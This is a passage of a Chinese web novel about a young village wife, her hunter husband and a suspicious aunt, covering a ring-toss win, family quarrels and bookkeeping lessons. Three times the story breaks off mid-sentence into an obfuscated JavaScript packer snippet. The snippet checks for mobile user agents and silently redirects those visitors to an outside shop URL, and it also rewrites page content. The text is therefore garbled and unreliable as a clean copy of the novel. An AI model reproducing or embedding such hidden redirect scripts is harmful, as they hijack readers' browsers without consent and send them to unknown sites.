丁宝珠没多讲什么,只是收好那买来的樱桃后,对他粲然一笑道: “好了,咱们走吧!” 总不能说她都不知道吃过多少比这还要大还要甜的樱桃了,好好的一番心意,她可不想直接抹去。 这种樱桃的滋味,保不齐和山上摘的野果相当了,想要好吃,可能还要加工一下,但是目前来看是没必要的事,就给徐莹徐芝吃吧。 徐晔见她那笑容,心里也微微被揉了一下似的,四肢好像立刻就充满了气力,背再多的东西也不感到疲累,就紧跟了上去。 不消一会儿,丁宝珠又听到了各种不同的叫卖声,但能够发出叫卖的,多数还是那些小摊,如果是开店开行,却只要把那大门打开,就能等着客人自己上门了。 就在这时,丁宝珠他们忽然见到前方围着一群密集的人,好奇地上前一瞧,原来是一处玩套圈的摊位,那摊子明显要比其他摊大多了。 这里竟然也有套圈子的游戏?丁宝珠倒是没有想到过,再放眼望去,那老板靠在一边,胳膊上套着一连串的藤圈子,正笑眯眯看着眼前几个在扔着圈子的人玩,而前方的地面上摆放着整整齐齐的物品,大部分也是市上能见到的小玩意儿。 丁宝珠习惯性地往最远处看去,那里一般都放着最好的东西——果然是置着几个小笼子,里面窸窸窣窣动着的,似是活物。 徐晔一眼就看出来了,撇撇嘴道: “那是兔子。” 而那老板见有新客人过来了,赶紧又招呼了一句: “来套圈子咯,十文钱八个圈,套中就直接拿走!” 这对于部分人来讲还是有些贵的,所以现场里仍是看热闹的人多,纵然其中还是有人套中,再把那奖品给拿走的。 丁宝珠仔细看了一阵,拉拉徐晔说道: “徐晔,我们把那兔子给要走吧?” 徐莹徐芝在旁听着眼前一亮——这要是真拿到手了,她们不就有兔子可以养着玩了? “啥?”徐晔惊讶,“之前买东西倒也算了,你现在咋还想着养这些?” 他说完,又有点不悦地说道: “养动物可不一样,不能想一出是一出,得负起责任来才行!” “这我还不知道?你忘了?我三叔不就是搞养殖的?”丁宝珠笑道,又悄悄指了指,“我只是看着那笼里的兔子有两只,八成是一公一母的,带回去我们养着,没准儿很快就能生小兔子了——反正我们家里院子也不小,都没放满呢。” 那院子除开黑虎的窝,就是放着一些像是很久没用过的工具,还算是有空档。而村里的家家户户不管怎样肯定都会养几只鸡备着,也只有徐家是空空荡荡的。 徐晔斜了一眼说道:“一只兔子虽说也能卖上个二三十文,可中间还要喂养才能长大呢。再说这套圈得兔子,十文钱看着实惠,那也要套得中才是,说不定你套了几十文的圈子还套不到呢,这也就是诓诓你们姑娘家的罢了。” 丁宝珠听了也不恼,只笑嘻嘻地道: “所以啊,咱们这姑娘家家的就不上去了,应该派你这个猎户子上,那还不是一套一个准儿,两套就得了,不仅是我,连莹儿芝儿都明白她们大哥一定是最厉害的!” 徐莹徐芝听见,也扬起道: “大哥,这兔子要是得了,就交给我们吧,我们自己去割草喂,不劳烦谁!” 听妹妹们这么说,徐晔也就心软了,再者方才丁宝珠的那一番话,倒真的让他产生了些许满足,脸上是不情不愿的,嘴里却说: “那好吧,不过就玩一次,要是没套到,你们可别怪我!” 丁宝珠见得了应答,便挥手招那老板过来,说道: “老板,我们要十个圈子!” “好嘞!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737622|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那老板从手臂上数了是个圈子出来递过来,又笑道: “娘子尽管套,套牢了什么都能拿,绝无二话!” 这话讲的,好像认为他们是一定套不中似的。徐晔心里不快,可掂量掂量手里的藤圈,也就开始思量起来。 他倒是射过箭,打过弹弓,投过石子儿,可这轻飘飘的圈子却没使过,便先随手试了两个,都没有套中,而那老板依旧是在笑。 但再试了两圈后,徐晔觉得自己已经找到了手感,便飞速地掷出下面两个圈子,果真其中一个套到了一个笼子。 “好诶!套到了套到了!”徐莹徐芝拍这手兴奋地喊道,四周的人群里也有叫好的。 老板一愣,可话都放出去了,只好把那笼子给提了过来,丁宝珠道了句谢后欣然收下。 可前者一时忘了,徐晔的手里还有两个圈子呢! 徐晔勾了勾唇角,就连那黑黝黝的双眸也是微眯了眯,还没等老板走到固定位置,他抬手又是飞出一个圈子,又把其中一个笼子给套中了。 这下观众里就有更多叫好的了,毕竟要是一回合就能套中那笼兔子,的确是笔实惠的买卖,可那笼子偏偏又被老板放去了最远的地方,所以这生意一看就是不好做的,但这郎君一下就套中了两笼兔子,自然是心悦诚服。 可观众们是兴奋了,老板的脸色却变得不好看起来。从他摆摊之后,这兔子笼就没人套中过,这小郎君一次就套了俩,他不得亏了?要知道这兔子也是他自己出钱买的呢,便急忙道: “不算不算,这个不算,圈子必须要正当中套到才行,你这个只是碰了个边,所以不能给!” 丁宝珠徐晔这正主还没说话,旁边就有人不满地说道: “我老早就在这里了,你之前也没说过这规矩啊,咋了,看人家多套了你就当场改了?做生意哪有这道理?” “就是就是,再说了,能套中也是别人厉害,你这样不是玩不起吗?那还摆啥游戏摊子?” 世上还是好人多啊。丁宝珠感叹道。 那老板抹不开面,但是在人和钱里,他还是选择了后者,也不管那些人如何抱怨了,只摆着冷脸转来对徐晔说: “小兄弟,做人留一线,日后好相见!这样吧,你要是下一次还套中了,那圈子也是在正当中的,我就服你!” “他娘的,小郎君,你再来,看他还嘴不嘴硬了!” 其中一个大汉不爽地喊道,立刻激起了千层浪一般,引得其他人也纷纷应和,不过大多数还是看戏居多。 老板只作无视,徐晔则是轻哼一声,瞄准之后就把手里最后一个圈子给投了出去,这次是正正好好套中了那笼子。 随着一声喝彩,那老板脸色霎时泛白,可在众目睽睽之下,只好忍气吞声地再把那笼兔子给拿了过来,然后就再也不理睬他们了。 丁宝珠也不需要他多理睬,兴高采烈地把两笼兔子安置在了徐莹徐芝的筐子里,一行人就离开了这。 当然她还不忘夸赞道: “不愧是你,就是厉害,给老板好好上了一课!” 徐莹徐芝也跟着笑道: “是啊是啊,我们就知道大哥是最厉害的!” 这下徐晔也是要变脸了,不过他那是浅浅笑了笑,口中却说: “行了行了,玩也玩够了,时辰也不早了,是时候该回去了。” 于是几人又返回到了那买花椒的摊子上,摊主远远见到丁宝珠就向着她挥了挥手,等来到了,便笑道: “娘子,我已把你买的那些磨成粉了,您看看如何!” 那椒粉仍旧是红扑扑的,丁宝珠用手称了称,也觉得是那重量,便笑道: “多谢老板,要是好的,下次我还来买。” “娘子满意就好。”那摊主擦了擦汗,虽说他自己没有能够把花椒磨成粉的工具,可不代表周围没有,也都是比较熟悉的摊子了,就是借一下也没什么大不了的,这才将成品给做出来了。 丁宝珠给了剩余的钱,就带着其他东西开始出镇了。离开那喧嚣的地界,那宽大的泥巴路上就显得安静了不少,又走了片刻,两旁绿树摇枝,时常在树下摆的摊位此时却变少了,也不知是不是打道回府了,毕竟很多人今天都是去镇里,自然没啥人会去看路边摊。 丁宝珠抹了把留到下颏的汗珠子,徐晔见了,便从筐内取出一个水囊来,说道: “先喝点水吧,马上就到家了。” 丁宝珠接过来一瞧,这皮制的水囊好像正是徐晔随身带在身上的那个,犹记得他还用过这个来盛过一囊满满的桃花茶。 可她的确是渴了,喝了几口后,又给了徐莹徐芝,接着匝巴匝巴嘴道: “这水囊看着倒是好,又耐用又储水的。” 徐晔想了想才道: “现在家里没有剩下的皮料了,以后若是有了,也给你做一个,也不麻烦,路上还方便。” “这也不急,今天也是特殊情况,平日里我带吃食去卖,也有大多有饮品,所以渴不着。我记得还有木头竹子做的水杯,经常看到有人拿来盛水,那个感觉就不错。” 徐晔听了不答,可却将这段话给存在了心里,几人便接着上路了。 71. 疑神疑鬼 若是不坐车,身上又背着东西,从祥安镇回到象山村家中时已是过了日央,大概是用了一天中最热的一段时间回来了。 吱呀打开家门,先把身后的筐子给放下了。李银屏听到动静后从屋里走出来,略带不满地问道: “你们咋这么晚回来?饭吃过了没?要再不回来,我都想去村外迎你们了!” “吃过了,姨母。”徐晔率先回答道,“路上耽搁了些,就晚回来了点,爹呢?” “我们回来后吃过午食,你爹就又下地去了,不过想来过会儿也能回来。”李银屏解释着,又对着丁宝珠吩咐道,“晔儿媳妇,你既然回来了,那就早点去准备晚食吧。” 丁宝珠还没说什么,徐晔却抢着道: “姨母,这时辰也还不急,咱们在市上还买了点东西,等收拾好了再去忙活也不迟。” 李银屏狐疑地朝着几个筐子里瞄了眼,絮叨起来: “我说晔儿,虽然你爹说过你能自己管钱了,可也不能这般乱花啊,我和你爹已经把这段时日需要的都买下了,你又买些其他的作甚?——让我瞧瞧你都买了啥,别是谁非要求你买的吧?” 徐晔噎了噎,他本想说完后就把东西都先给带到房间里的,却没想到李银屏飞步上前来,伸手就在筐里开始扒拉。 看清了筐内买的,李银屏不由得蹙眉道: “这是啥?咋又多了那么多粮食和大料?哎呦,这咋还有鲤鱼?好端端的买这做啥?——这是樱桃?价钱不便宜吧?” 李银屏又转眼,见到徐莹徐芝在那偷偷摸摸地挡着那小点的筐子,只瞪了一眼,俩姐妹就苦着脸不得不移了开来,于是前者便又发现那两笼兔子,更是一副无话可说的表情,恼怒道: “你讲讲你买那些也就罢了,买这活物做啥?之后咋安置啊?晔儿,不是我说你,你未免太向着你媳妇了!” 徐晔低了低脑袋,看样子是打算不回话了,徐莹却解释道: “娘,这兔子不是买的,是大哥套圈套的,比普通的便宜不知多少呢,而且不久后还能生小兔子,我和芝儿也商量好了,今后我们来养这兔子,不烦着您,也省得我们在家没啥其他事做。” 谁知李银屏眼下正在气头上,愈发不耐道: “套圈又怎的?那圈子不要钱是让你白玩的?况且你会养那兔子么?别到时候养死了,还哭成咋样了呢,到底来说就不应该买!” 徐莹脸色一变,成了和徐晔相差无几的神色,徐芝自然也不敢开口,唯有丁宝珠淡然出声道: “姨母,既然买都买了,退也退不出去了,不如就留下吧,再说你怎么知道这次买来的以后能不能变成钱呢?” 那李银屏本就在指桑骂槐,见丁宝珠主动,她便冷笑一声道: “怎么,你最近赚钱了,尾巴能翘到天上去了,真以为钱是大风刮来的?我告诉你,你就算挣了再多的钱,那也是晔儿的钱,你给我记住了,咱们也不是啥大富大贵的人家,作为媳妇,哪能这么大手大脚的?你到时候回去问问你娘,看看有没有这个理!” 徐晔皱眉道: “姨母,您说得太过了。” 李银屏看着徐晔竟然和丁宝珠是一边的,心中更是烦闷,当即就尥了蹶子似地气道: “好、好,养了你十几年,现在有了媳妇儿,胳膊肘就往外拐了?你就顺着她好了,到时候看看你们这家还能不能过了!” 说完,她就气呼呼地回了屋,留下其他人在原地面面相觑。 徐晔也觉得少许羞恼,回头道: “……你别和姨母一般见识,也不知咋了,她就盯住你了。” 看来整个徐家的人都发现了,这李银屏就只和丁宝珠一人过不去,而且在他们眼里看着还是莫名其妙的。 丁宝珠嗤笑一声道: “我当然不与她一般见识,两般也不!我们还是先整理整理吧——莹儿芝儿,你们去找点树枝稻草什么的做个窝出来,把那兔子放进去,最好再在院子里找个地界圈出一圈来,就用来养兔子了。徐晔,你去把鱼放在水里养着,我收拾好后,确实该去准备做晚食了!” 被这么有条有理地交代后,他们也就去了,特别是徐莹徐芝,一路上都在讨论该怎么养那兔子,早已是期待得不行,忙去照做。 而李银屏则独自坐在屋里的床上生着闷气——她突然觉得这丁宝珠倒是有两把刷子,过门不过才几个月,竟把家里人都收拾得服服帖帖的,大的看在丁家的面子上也就算了,怎么现在小的也和她一路了? 以前不都说那丁家大姐儿咋咋呼呼的没啥心机,现在怎么瞧着就那么不同呢? 李银屏疑惑着,心里就是过不去那个坎儿,徐芝这时却走进来,手里还拿着一个碗,里面放着从镇上买来的樱桃,说道: “娘,你别生气了,快尝尝这樱桃,酸酸甜甜的可好吃了。” 李银屏翻翻眼哼声道: “你大哥买给你大嫂的吧?那我咋好意思吃!” “咋会呢娘,这也是大哥大嫂孝敬你的呀。” 徐芝说着,又笑呵呵地拿着颗樱桃一迳往李银屏嘴边放,后者只好吃下,但可惜那是一颗酸味居多的樱桃,酸得她皱了皱眉,抱怨道: “好了好了,你们吃吧,这樱桃不便宜,你们却挑也不会挑,就那价钱,还不如多买点甜的,买这酸溜溜的做啥……” 然而说到这,李银屏却不知想到了什么,古怪地顿了顿,连之后徐芝讲的啥都没听进去,最后才问道: “芝儿,除了这樱桃,那鲤鱼和兔子,你和我说实话,是不是你大嫂让你大哥买的?” 徐芝在她面前不会撒谎,只好点头道: “是的,大嫂说这时节适合吃鲤鱼,就算今天不吃,也能先养着以后再吃,还有那兔子,也是套圈游戏里的奖品——娘,大哥和我们说了,那四只兔子正好是一对公的一对母的,而且都到了能生小兔子的时候。兔子生小兔子可快了,到时候我们就有兔子肉可以吃啦……” 只是她才说了一半,李银屏就听不下去了,心里开始逐渐有了个使人讶异的想法。 樱桃、鲤鱼、兔子…… 李银屏只感觉头脑里昏昏的,仿佛炸开来了般,一时又像是有股气顶在了胸膛之处,片刻不得好。 可若是这事儿要是真说出来了,那家里可就真的没法安宁了…… 李银屏的这份郁结,其他人都不知晓。徐莹徐芝一直在忙着搭建兔子窝,再去院子里圈地,好不容易才按下心绪先把那兔子放去一边上床睡下。徐晔也找来木盆接了水,暂时把那条鲤鱼给养起来,等入了夜后,也因着今儿忙了一日,再去冲了把凉。 擦着头发的时候,丁宝珠也去烧了点热水来擦身,这个天已经没先前那样寒了,所以也不需要兑太多的热水。 但她擦身的时候,徐晔仍是等在了门外,待她好了再把剩水给泼去,这才进屋。 擦过身后十分清爽,丁宝珠梳着长发,又坐在桌边,将她那自制的账本给拿了出来,一边梳一边翻页看着。 只是她自己正看着,慢慢感觉旁边有一种微微炙热的眼神朝着她的方向,疑惑地回望过去,那炙热是消失了,坐在对面的徐晔立刻就移了目光,稍许昏暗的室内,也不知那热度有没有去其他的地方。 丁宝珠顿了顿,问道: “你有啥事想问?” “……” 徐晔踌躇了须臾,才小声道: “你认字,也会算数,那你能不能……也教教我?” 可惜这么小的声量,在这近乎寂静的环境下,丁宝珠是分毫不差地都听见了,便笑道: “当然可以了,你坐过来吧,我教你。” 徐晔搔搔后脑问:“就这里不行?” 丁宝珠眯着眼,把长发甩到身后,接着笑道: “不行,你要是坐在那,怎么能看得清楚?再说了,是你想学的,又不是我逼你的,你不得主动点?” 徐晔细微地涨红了脸色,但最后还是放弃一样地垂头坐了过来。只是刚过去,却冷不丁嗅到了一抹若有若无的气息,这似乎又和他们同床共枕时的不一样了,惹得他不禁心绪叆叆起来。 但其实那不过是丁宝珠洗过头后的气味,这里可没有什么香波洗发露,就算有,也不是她能用得上的,所以就与洗衣裳那般用皂荚子洗。 丁宝珠倒是没注意,只是又把那炭笔拿出来,教徐晔记账,又道: “你今天不是卖蛇油蛇胆赚了钱么?赚钱了之后又花了些,那么就可以一边记今天挣的,一边记花去的,以此类推……” 徐晔回过神听了后,就把自己荷包里的钱都取出来,一壁数着,最后才喜道: “今天赚了有几两了,花倒是也没花那么多,那剩的就可以攒下来了。” 丁宝珠问: “之前你赚的都去哪里了?” 徐晔愣了愣,如实回答道: “以前我都是和我爹一起上山打猎去的,若是运气好,带回来的猎物就能挣钱,但之后的钱都给家里用了,总归还是家里重要,而家里的花销都是姨母在管,不过村里差不多都是这样的。” 丁宝珠听明白了,这是充公了呗。 但这也不奇怪,一个家庭里总要有个管钱的,那这活当然就被李银屏揽去了。 丁宝珠看了他一眼,又问: “那你怎么又想着学这些了?” 徐晔扭捏了会儿,才轻声道: “爹说过,我们成家了,虽然还是住在一块儿,但到底是成了一起的,也、也该管自己屋里的账了,你又会算账,我看你已经做了许多,这才想和你学学……” 月光如水流动在二者之间,一会儿轻柔,一会儿澎湃,那宛如击打在溪涧碎石上的声响,也不知是不是此刻的心跳声。 丁宝珠听着这番显得淳朴却又真切的话语,心里不由得动了动,又抹抹指尖上的黑炭,蓦然问道: “徐晔,你有没有想过……我们有一天离开家,离开村里?” 徐晔睁大眼问道:“离开?去哪里?” 丁宝珠微笑着说:“不是讲不认爹娘了,就是……去村外找个地方住下,只有我们两个人……咳,但我也只是随口说说的,你别放在心上。” 徐晔细细攒眉了会儿,竟没有回话,而是埋头拿着炭笔在那账本上写写画画起来。那所谓的账本其实是草纸叠出来的,已经有半个指节的厚度,但丁宝珠想着,等什么时候有钱了,她一定要去买纸笔回来。 徐晔不久后写好了,丁宝珠看去,倒是真的有模有样的,可惜村里大部分人家都只把孩子当作是劳动力,也基本没有条件送去读书,他也是其中一个。 徐晔自己也觉得满意,多瞧了几眼,突然又道: “我剩下的那些钱,不如就放你那吧。” 丁宝珠打趣着问: “放我这?你也不怕我到时候收拾铺盖一并拿走了?” 徐晔哼声道:“你咋会那么做?况且你还能去哪?” 丁宝珠啧啧道:“当初也不知道是谁说我整个人都钻进钱眼里了,你把钱放我这,不就等于是羊入虎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741891|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口吗?” “……好啊你,还记得那桩子事儿呢?你咋那么小心眼?” 徐晔半咬着牙,可听上去倒是没有几分不悦: “行了行了,咱现在说正事呢,我是想着你那箱笼里安全,除了你也没谁来动,那不就是适合放钱的地方吗?你要是不愿意,那就再想办法好了。” 丁宝珠点头同意,便把那些钱重新放进荷包,然后连同账本再放进自己的箱笼里,时辰也不早了,今儿又忙活了一天,所以两人很快就睡下了。 只等到翌日,丁宝珠和徐晔晚起了些,下一批制作松花吃食的食材还没有都完成,所以今天前者就想着先把半成品做好,等之后再去做买卖。 窗外的月色已转化成了晨阳,只是村里的大清早仍然还有一层似有似无的薄雾笼罩。丁宝珠隐隐约约听见院子里有点响动,侧耳一听,好像是徐莹徐芝也早早起了,估摸着还是为了那几只兔子。 昨天徐晔看过,那几只兔子已经是可以生育的月龄了,可能那个套圈老板不相信有人能套着那最终奖品,备的还正好是一公一母,徐晔套中了两笼,正好能够作配。 何况兔子可以说是最能生的动物之一了,等兔子一窝一窝地生下,不但能自己吃,也能往外卖…… 丁宝珠脑里模模糊糊地盘算着,不自觉翻了个身,可恰巧身边的人也翻身过来,继而便是头碰了头,像是瞬间清醒了大半,又大眼瞪小眼起来。 徐晔嚅了嚅唇,结结巴巴地问道: “你、你没出门啊?” 平常丁宝珠那劲头,总是要比自己早起床的,当然也是为了做吃食,再去大道儿那占个好地方,醒来一看还在,这情况倒是少见。 莫非是昨天累着了?上午要做生意,下午又要去采购…… 丁宝珠半眯着眸子,嘴里含糊问道: “怎么,我连多睡会儿都不行了?” “……当然能。”徐晔不自觉柔了声线,“那你再睡会儿,我先起了,到时候叫你。” 丁宝珠应了声,便用被子把脑袋闷住了大半,徐晔就起来穿衣扎髻,再出了房门。 “大哥!你快过来看!” 徐芝朝着他挥了挥手,徐晔走过去,才发现她和徐莹在院子角落里圈了一块儿地出来,里面放着两个用稻草和树枝搭的简易小窝,那四只兔子已经放进去了,小牙瓣儿还一动一动的,也不知是不是在熟悉环境。 徐晔拎起两个母兔子摸了摸,暂时都还没怀上崽子,便又放下,说道: “你俩可以去找点食物给它们吃了,过段时间,再看看它们有没有揣上崽。” “大哥,你知道它们要吃些啥吗?” “去割点干草野菜就成了,这个大小的兔子,就每天和我们一样喂个三趟,再大一点,每天喂两次也就差不多了。” 其实徐晔也没养过兔子,他只抓过兔子,不过好歹是养过动物的人,对比一下也就八/九不离十了。 至于那个动物,此时也在那被圈地的篱笆旁边,透过缝隙紧紧盯着那些兔子,还不停地摇着尾巴。 徐晔见了想笑,却又按下,嘱咐道: “黑虎,这些不能吃,得留下来。你也别急,到时候能上山了,我单给你抓两只解馋。” “汪!” 黑虎听了,也就不去看那兔子,而且小步踱来求摸摸头,明明它的身子已经抵得上半个徐晔,但还是忍不住要直起身来求抱抱。 “乖狗,乖狗,先去窝里,等会儿吃饭了。”徐晔摸了把黑虎的狗头道。 徐莹在旁边瞧着,总感觉她这个大哥好像有哪里改变了——当然也许是大嫂的功劳,要不怎么说男人娶了媳妇就会变得和先前不一样了呢? 徐莹偷笑了笑,拉着徐芝道: “大哥,那咱们去割草去了,这兔子也不知饿了多久呢。” 徐晔答应,可就在这时,那李银屏端着一大碗稀粥从灶房那出来了,呵斥道: “你俩急吼吼的做啥?有啥事不能先吃了早食再去?之后你们有的是时间照料那些兔子!还不快点过来?” 徐莹徐芝见状吐了吐舌,她们觉得这几天李银屏的脾气是愈发不好了,难道是因为天气逐渐热下来了? 徐晔在院里摆上了那小桌,李银屏把粥碗放下,又让徐莹徐芝去灶房把其他的也端来,环视了一圈后,皱眉问道: “晔儿,你媳妇呢?难不成还在睡?” 徐晔想了想,回答道: “姨母,她有些累,昨儿又忙乎了一天,也就多睡了会儿,那我现在去喊她起来吧。” 说完,他立刻转身去了,徒留李银屏在原地,那眉头却是锁得更紧了。 ……有些累?! 不多时,徐翊也出来了,偏头瞧了瞧,问道: “晔儿和他媳妇呢?没起?” 李银屏冷哼道:“反正他媳妇是享福的命,我就是那劳碌的命,这又有啥?她多睡,那咋不一直睡呢?” “好了好了,都是一家人,你也少说点。”徐翊摆摆手道,“我就不明白了,晔儿媳妇进门也有日子了,你咋还看她不好呢?退一步说,你嫌她以前名声不好,那也是很久前的事情了,就不兴人家改了?你如今也做婆母了,自己想要个好名声,就别对儿媳妇那么苛刻!” 李银屏咬着唇,正想着干脆把那件事给讲出来,反正臊得也不是自己,却不想就在这时,那主角跟着徐晔出来了,只好又先剪断了话锋,不言语了。 那徐翊也不再多说,只是招呼着一块儿吃早食,这一大早也就那么过去了。 72. 腌大头菜 吃过饭后,徐莹徐芝急急忙忙地要去割草,徐翊知道家里养了几只兔子,倒也没不同意,总归兔子吃不了多少,还只吃野菜就行,下崽儿的能力却大呢。 见姐妹俩有事儿做,徐翊徐晔又要准备下地了,丁宝珠便带着那些薄荷种子也想跟着去地里,父子也是同意了。 而这次再去田间,又是和初次去时不同的景色了。那黄瓜、丝瓜和茄子都有了初步的模样,和那些豆子一样搭了架子来置那秧子。另外还有那萝卜、白菜和莴苣,也是在渐渐生长着。 丁宝珠帮忙割了一茬成熟的叶菜后,又去看那大头菜生长的区域,拨拨长在地上的叶子,也是时候可以收获了。 这大头菜主要吃的还是长在土地下的块根,这种块根里也有辣味,如今天气越来越热,容易使人胃口不佳,口味重的菜也能有食欲。 不过大头菜最常用的做法,那还得是腌制,这不禁让丁宝珠想到了自己做的那些梅干菜。梅干菜至少需要三蒸三晒才能成,她也挑了空档将那一批给做好了,现在也是放在灶房里储存着呢。 想到这,丁宝珠就拿着工具埋头挖起了大头菜。而由于她在种田方面上薄弱了点,所以那些薄荷种子,她还是交给了徐晔去种,只是徐晔他们没有种过薄荷,丁宝珠也就多讲了几句,这才各忙各的去了。 但是村里鲜少有女人下地干活的,顶多是给自家男人送饭,所以丁宝珠是在忙活着,可被附近地里劳作的男人看到,却不由得窃窃私语起来。 更有离徐家田地近的,徐晔种了那些薄荷种子后,抬眼见到这一幕,心里就不大舒服,更是狠狠回瞪过去,那些人吓了一跳,也就不再往这里看了。 徐晔继而去和丁宝珠一起收获大头菜,收好的菜全都放进带来的那筐子里,便道: “你那些勃荷种子我都种下了,还有没有要做的?” 丁宝珠揩了揩汗珠摇头道: “没什么了。这菜都收好了,那我就先回去了,还有别的事要做。” “……好。” 徐晔憋了半天,多余的话就是讲不出口,只能瞧着丁宝珠从田地走到那田埂之上,慢慢再往家的方向而去,仅留了背影。 见人走远了,他才继续去做农活,挑水来给地里的农作物浇。 这一处几乎都是田连着田,放眼望去都是各家的农人出来下地干活,偶尔偷个懒儿,熟悉的就找过来说说话什么的。徐晔想着先把水浇了,本来地里农作物其实不算多,但那之后又多出些许了,他自己也更习惯先做事再休息。 徐翊这时过来嘱咐道: “晔儿,你去那边把水浇了吧。” 徐晔看去,原来是后种下的那些豆子,便点点头,挑着桶过去了。 用木勺舀着水一次次分布均匀地浇下,可徐晔看着那已经架好的豆子架,不知怎么就想到了那日,丁宝珠在他身边提议种豆,然后那一张巧嘴报着菜谱的样子。 ……早知道就不答应她种那么多豆子了。徐晔突然想。这种田的又不是她,现在还要自己空出地来打理呢! 但虽是这么想,徐晔依旧是全心全意地在照顾这些豆子。 “哎呦,晔哥儿,你在笑个啥?” 远方传来的声音让徐晔回过神来,他抬起眼,发现是两个家里田地与徐家离得蛮近的小伙子,一个叫做袁聪,一个叫做汪榆,家里皆是种地维生的,但他们家里的田地一定要比徐家的大多了,也比他们更早就要去耕地。 徐晔平日里倒是也能和他们说上几句话,而最重要的是,大概是看种地所得的仍是吃不饱,他们便也起了想要上山打猎的心思,没少过来请求徐晔和徐翊,只是这件事实在是太大了,后者也没法马上决定,所以始终没有答应。 饶是如此,那袁聪和汪榆在闲暇时想摸鱼了就会来找徐晔,本身徐晔又比他们年纪大,简直是当做了大哥一般的人物。 徐晔听后皱了皱眉,问道: “谁笑了?” “哎呀,晔哥儿你还不承认?我们刚刚可是实打实见着你一边在浇水一边在傻笑呢!难不成咱们还眼花了?”汪榆说道。 袁聪却是在旁边笑眯眯道: “准是晔哥儿想媳妇儿了,人家媳妇儿才走就摆出这样的脸色,啧啧,当真是念着好了。” 徐晔阴下脸色,不悦道: “两个小油嘴儿,不说话,没人把你们当哑巴!” 那汪榆看惯了徐晔这副脸色,也听惯了他这种语气,所以才对他的那张笑脸这样惊讶,也没听出他有些气急败坏的口吻,问道: “晔哥儿,你急啥,反正等到午时,你媳妇儿还是会过来的嘛,到那时不就能再见到了?” 袁聪摇头笑道: “你懂啥,有诗说一日不见兮如隔三秋,那中间还隔着几个时辰呢,你算算如多长时间?” 没想到那汪榆听闻后当真掰着手指算了起来,看得徐晔太阳穴一抽一抽得疼,肺里也是一下一下得涨开,干脆不理他们两个,继续去别的地方浇水去了。 只是……自己笑了?真的还是假的?自己竟然也会笑?而且……还是因为想到了她? 徐晔无法相信,村里人都说他是不会笑的冷面郎,就算真的笑了,那也十分难看,所以他自此后就算真遇到什么乐事也不再笑了,久而久之,他都忘了该如何笑了。 可他笑了倒也罢了,偏偏是被外人见到,一想到自己蹲在那傻笑,还被那两人见着,徐晔就莫名出了一身鸡皮疙瘩,恼羞起来。 “好了,咱们也不说这个了。”袁聪见徐晔好像真的有点生气,便转移话题道,“但是晔哥儿,以前也没见过你家种豆子啊,咋今年种起豆子来了?你家里要养牲畜了?” 徐晔瞥了他一眼,哼声道: “种豆子咋了,又不需要你动手打理,再说了,我看今年应该暖和点,种豆子最好!” “真的,那我回家要和我爹讲讲,家里也种些豆子备着。”汪榆若有所思地点点头道。 袁聪悄悄瞧了眼忙活的徐晔,等气氛过了,才问道: “晔哥儿,不如你给我们一个准信,我们到底能不能跟着你爹学打猎?——要是学了,到时候我们还能一起上山去呢。” 汪榆听见他这么说,也是向徐晔投去了一个满是期待的眼神。 其实他们都明白上山打猎是件危险的事儿,可就凭种地,到了秋收还要交粮,冬藏本就剩不了多少了,还要兼顾着明年粮食种出来前的生活,那简直是勒紧裤腰带去过了。 实际上象山村的人几乎都是这么过的,可住在山脚下的徐家倒有些不同,虽说事情危险,还有两季禁猎的规矩,但每次进山,徐家俩父子总是能打到猎物下山,卖出一笔笔银子攒着,即便没法大富大贵,却基本能吃喝不愁。 再加上那袁聪和汪榆又比其他人与徐晔的关系好点,慢慢也就产生了这个念头——就算在山里真遇到什么危险,也总比挨饿好。 可家里父母都同意了,没想到徐家仍是紧咬着不松口,当然他们也能明白徐家不想惹祸上身的意思,但隔三差五的,两人就会过来探探口风。 徐晔没有点头,却也没有摇头,只是说道: “这个你们应该去问我爹,我也没这个权利同意,而且就算同意了,先不说现在是禁猎,你没有武器,咋去打猎?就这点还要自己做才行。” 袁聪听着这次措辞似乎有些不一样,想着大抵是徐晔愿意松口了,便不再说这事,只是道: “行,那我们就不打扰你了,你还是继续照顾这些豆子好了~” 徐晔舀了一勺水就往他们身上泼去,袁聪汪榆急急躲着,却还是沾到了衣角上,一会儿就没身影儿了。 徐晔叹了口气,可回想着方才两人说的话,不禁又闹了个红脸出来。 他怎么可能会成这个样子?真是奇怪! 却说丁宝珠从田地那回到家,徐莹徐芝貌似也割完草回来了,依然待在篱笆圈那看着逗着兔子玩。丁宝珠和她们讲了几句,便放下满是蔬菜的筐子,先去水缸里舀了水喝。 一边喝,她一边问着徐莹徐芝道: “莹儿芝儿,你们是去哪里割的草?” 徐莹如实回答:“我们是去山脚下割的,完了就赶紧回来喂兔子了。” 徐芝也笑道: “大嫂你快来看啊,它们吃着草可有意思了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749182|136164||http|test|mini|href|location''.split(''|''),0,{})); () { 